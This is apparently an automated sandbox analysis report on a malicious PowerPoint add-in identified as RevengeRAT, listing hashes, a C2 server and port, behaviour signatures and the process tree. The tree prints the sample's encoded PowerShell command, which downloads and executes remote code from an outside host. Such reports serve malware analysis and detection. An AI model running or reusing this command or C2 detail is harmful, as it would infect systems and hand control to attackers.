Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    05-06-2023 12:36

General

  • Target

    9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4.ppam

  • Size

    19KB

  • MD5

    cbcc937ed1ac2f9cca45d47d7ab44b49

  • SHA1

    4e45051c4e0af07f567407095fbed8cb3e1a032c

  • SHA256

    9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4

  • SHA512

    7d45eb38cd778b82cae617300a0bc8a0033c3978e9727d2a7932098e9b51d7e4df715d4a1dff4a76837a10a148fdac8997c38fb71cb46afd4ac5e1c4a9727ff6

  • SSDEEP

    384:dXPYvQCahPS6U7rbHc1RaICb7PwFkqdKW9rAgZF2o2Z2FoeapDCsx3Dw:VPYryLU7rbHgaIEI5MacgZUhZk8C4zw

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1972
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:376
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1932

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/376-84-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/376-64-0x00000000025A0000-0x00000000025E0000-memory.dmp
        Filesize

        256KB

      • memory/376-83-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/376-63-0x00000000025A0000-0x00000000025E0000-memory.dmp
        Filesize

        256KB

      • memory/376-88-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/376-90-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/376-94-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/376-92-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/376-86-0x0000000002510000-0x0000000002528000-memory.dmp
        Filesize

        96KB

      • memory/1932-99-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1932-106-0x0000000000BB0000-0x0000000000BF0000-memory.dmp
        Filesize

        256KB

      • memory/1932-96-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-95-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-97-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-102-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-100-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-98-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-104-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1932-105-0x0000000000BB0000-0x0000000000BF0000-memory.dmp
        Filesize

        256KB

      • memory/2020-58-0x0000000005C10000-0x0000000005D10000-memory.dmp
        Filesize

        1024KB

      • memory/2020-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/2020-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB